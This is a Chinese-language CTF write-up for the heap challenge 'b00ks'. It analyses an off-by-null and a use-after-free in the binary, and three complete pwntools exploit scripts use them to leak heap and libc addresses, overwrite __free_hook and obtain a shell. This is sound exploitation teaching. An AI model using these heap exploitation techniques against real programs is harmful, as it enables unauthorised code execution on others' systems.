一、题目:Book
先来看看保护机制:
栈溢出保护没开(这是一道堆题。。),其他保护全开
ida清晰地分析一波:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 savedregs;
setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); sub_A77(); change(); while ( menu() != 6 ) { switch ( &savedregs ) { case 1u: create(); break; case 2u: delete(); break; case 3u: edit(); break; case 4u: puts_0(); break; case 5u: change(); break; default: puts("Wrong option"); break; } } puts("Thanks to use our library software"); return 0LL; }
|
熟悉的菜单界面,一般的堆题常见的方式,为了方便调试,我把名字都改了,在xman学习了怎么创建结构体,这里直接用上了,下面一步步分析:
这里写author的name到0x202018的地址处,大小限定是0x20。
看到这个read函数是我们自己定义的,然后有个明显的offbynull的漏洞
我们继续看:先分析malloc部分
考察代码的审计能力,这里我运用了结构体,看起来舒服很多:
也可以在ida里面看到我们的堆块的布局情况:
也就是自定义的name块和description大小在前,然后固定的0x20的堆块在后(我在ida创建了这个结构体),继续分析:free函数
这个free很明显的uaf漏洞,name和description没有清空,只清空了ID
下面是puts函数:
打印出各个位置上的内容,这里索引的方式是根据ID地址计算偏移得到其他属性的地址
再看edit函数:
这里先查看下有没有满,堆块的上限是20个,只有ID不为空时才有效,而且edit时查找的是description和它的size,再实现写入操作。
最后一个函数:change
这里是修改下写入的name,其实gdb动态调试下会发现,在author的name下面是我们的ID的地址:
原理就是当我们malloc一个堆块了,它就会把ID指针复制到authorname的位置下面:
这里我们输入的author的name是MMMM….
好了,函数基本上都介绍完了,漏洞点也知道了,下面就是利用了:
1、填满那个author的name,malloc一个堆块然后可以打印出地址来(没有零截断),因为后面生成的地址会覆盖掉0截断
2、有了堆地址,下面就是fake_chunk的伪造了,这里有个小技巧,就是要把fake_chunk放到我们的description中
3、接着就可以任意堆地址读写了
这里介绍三种方法:
1、通过申请vmmap的超大内存实现泄露真实地址+改写地址
2、通过unsort bin泄露真实地址+offbyone改写地址
3、通过unlink实现任意地址写
1:这种方法绕过pie的方法是vmmap处地址和libc基地址之间的偏移是不变的:
libc_base = 泄露出来的vmmap地址-offset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./b00ks') if local: p = process('./b00ks') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size1,name,size2,content): ru("> ") sl('1') ru("\nEnter book name size: ") sl(str(size1)) ru("Enter book name (Max 32 chars): ") sl(name) ru("\nEnter book description size: ") sl(str(size2)) ru("Enter book description: ") sl(content) def free(index): ru("> ") sl('2') ru("Enter the book id you want to delete: ") sl(str(index)) def edit(index,content): ru("> ") sl('3') ru("Enter the book id you want to edit: ") sl(str(index)) ru("Enter new book description: ") sl(content) def puts(): ru("> ") sl('4') def change(name): ru("> ") sl('5') ru("Enter author name: ") sl(name) debug(0x127F) ru('Enter author name: ') sl("M"*0x20) malloc(0x90,"1111",0x90,"44444444") puts() ru("M"*0x20) book1_ID = u64(rc(6).ljust(8,'\x00')) print "book1_ID--->" + hex(book1_ID) book2_ID = book1_ID+0x30 malloc(0x21000,"2222",0x21000,"555555555") py = '' py += 'a'*0x40 + p64(0x1) + p64(book2_ID+8) + p64(book2_ID+8) + p64(0xffff) edit(1,py) change("a"*0x20) puts() ru("Name: ") libc_base = u64(rc(6).ljust(8,'\x00')) - 0x5b0010 print "libc_base--->" + hex(libc_base) onegadget = libc_base + 0x4526a free_hook = libc_base + libc.symbols["__free_hook"] system =libc_base + libc.symbols["system"] binsh = libc_base + libc.search("/bin/sh\x00").next() py = '' py += p64(binsh) + p64(free_hook) edit(1,py)
edit(2,p64(onegadget)) free(2)
p.interactive()
|
2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./b00ks') if local: p = process('./b00ks') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size1,name,size2,content): ru("> ") sl('1') ru("\nEnter book name size: ") sl(str(size1)) ru("Enter book name (Max 32 chars): ") sl(name) ru("\nEnter book description size: ") sl(str(size2)) ru("Enter book description: ") sl(content) def free(index): ru("> ") sl('2') ru("Enter the book id you want to delete: ") sl(str(index)) def edit(index,content): ru("> ") sl('3') ru("Enter the book id you want to edit: ") sl(str(index)) ru("Enter new book description: ") sl(content) def puts(): ru("> ") sl('4') def change(name): ru("> ") sl('5') ru("Enter author name: ") sl(name) debug(0x127F) ru('Enter author name: ') sl("M"*0x20) malloc(0x70,"1111",0x90,"/bin/sh\x00") malloc(0x20,"2222",0x90,"/bin/sh\x00") malloc(0x20,'/bin/sh\x00',0x90,"/bin/sh\x00") puts() ru("M"*0x20) heap_base = u64(rc(6).ljust(8,'\x00')) print "heap_base--->" + hex(heap_base) free(2) py = 'a'*0x60 py += p64(0x1) + p64(heap_base+0x60) + p64(heap_base+0x210) + p64(0xffff) edit(1,py) change("A"*0x20) puts() ru("Name: ") malloc_hook = u64(rc(6).ljust(8,'\x00')) - 88 -0x10 libc_base = malloc_hook - libc.symbols["__malloc_hook"] onegadget = libc_base + 0x4526a system = libc_base + libc.symbols["system"] free_hook = libc_base + libc.symbols["__free_hook"] print "onegadget-->" + hex(onegadget) edit(1,p64(free_hook)[:7]) edit(3,p64(system)) free(3) p.interactive()
|
3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./b00ks') if local: p = process('./b00ks') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size1,name,size2,content): ru("> ") sl('1') ru("\nEnter book name size: ") sl(str(size1)) ru("Enter book name (Max 32 chars): ") sl(name) ru("\nEnter book description size: ") sl(str(size2)) ru("Enter book description: ") sl(content) def free(index): ru("> ") sl('2') ru("Enter the book id you want to delete: ") sl(str(index)) def edit(index,content): ru("> ") sl('3') ru("Enter the book id you want to edit: ") sl(str(index)) ru("Enter new book description: ") sl(content) def puts(): ru("> ") sl('4') def change(name): ru("> ") sl('5') ru("Enter author name: ") sl(name)
ru('Enter author name: ') sl("M"*0x20) malloc(0x20,"1111",0x20,"/bin/sh\x00") puts() ru("M"*0x20) heap_base = u64(rc(6).ljust(8,'\x00'))-0x1080 print "heap_base--->" + hex(heap_base) malloc(0x20,'2222',0x20,'55555555') malloc(0x20,'3333',0x20,'66666666') free(2) free(3) ptr = heap_base + 0x1180 py = '' py = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100) malloc(0x20,'4444',0x108,'77777777') malloc(0x20,'5555',0x100-0x10,'88888888') malloc(0x20,'6666',0x200,'/bin/sh\x00') edit(4,py) free(5) py = '' py += p64(0x30) + p64(4) + p64(heap_base + 0x11a0) + p64(heap_base + 0x10c0) + '\n' edit(4,py) edit(4,p64(heap_base+0x11E0)) puts() ru("Name: 6666") ru("Description: ") malloc_hook = u64(rc(6).ljust(8,'\x00'))-88-0x10 print "malloc_hook--->" + hex(malloc_hook) libc_base = malloc_hook - libc.symbols["__malloc_hook"] onegadget = libc_base + 0x4526a system = libc_base + libc.symbols["system"] print "onegadget--->" + hex(onegadget) free_hook = libc_base + libc.symbols["__free_hook"] edit(4,p64(free_hook)) edit(6,p64(onegadget)) free(1)
p.interactive()
|
下面重点讲解下,是怎么利用unlink的方式实现的:
由于堆块的布局是name+description+0x20司令结构体,想要unlink的话,就要构造出unsorted_bin的堆块,所以要让前面的小堆块集中在一起,然后让大堆块都集中到后面去:
这里先申请2个0x20的小堆块,再释放掉,就可以得到6个0x20的堆块:就足够我们去malloc(0x20,name,0xf8,description)3个这样的堆块,从而使得3个0xf8的堆块集中到一起!
这里记住小技巧:要想得到0x101的堆块,申请0xf8的基数堆块,可以利用到pre_size位,从而实现最接近下一个的size!(offbynull就可以打了)
所以先泄露出堆地址,然后利用offbynull的漏洞去改写第2个description堆块pre_inused位为0(把0x101—->0x100),构造出unlink满足的条件,释放掉第2个description堆块,从而实现unlink,这里和bss存指针一样,找到一个指向我们想要收缩的堆块的指针(指向这个description的指针的地址作为ptr),当unlink成功后,就可以任意地址写了,接着就是改写name指向main_arena的堆指针,改写description指向6号堆块的description指针,这样既可以泄露出真实地址,又可以2次改写(实现写入free_hook再写入onegadget),最后getshell
坑点:由于offbynull会溢出修改edit时的size,所以[:7]就是拿来防御的吗,哈哈哈哈哈哈哈
调试过程中的动态图:
unlink后指向的改变:
接着是改写工作:
先泄露再写入:
getshell: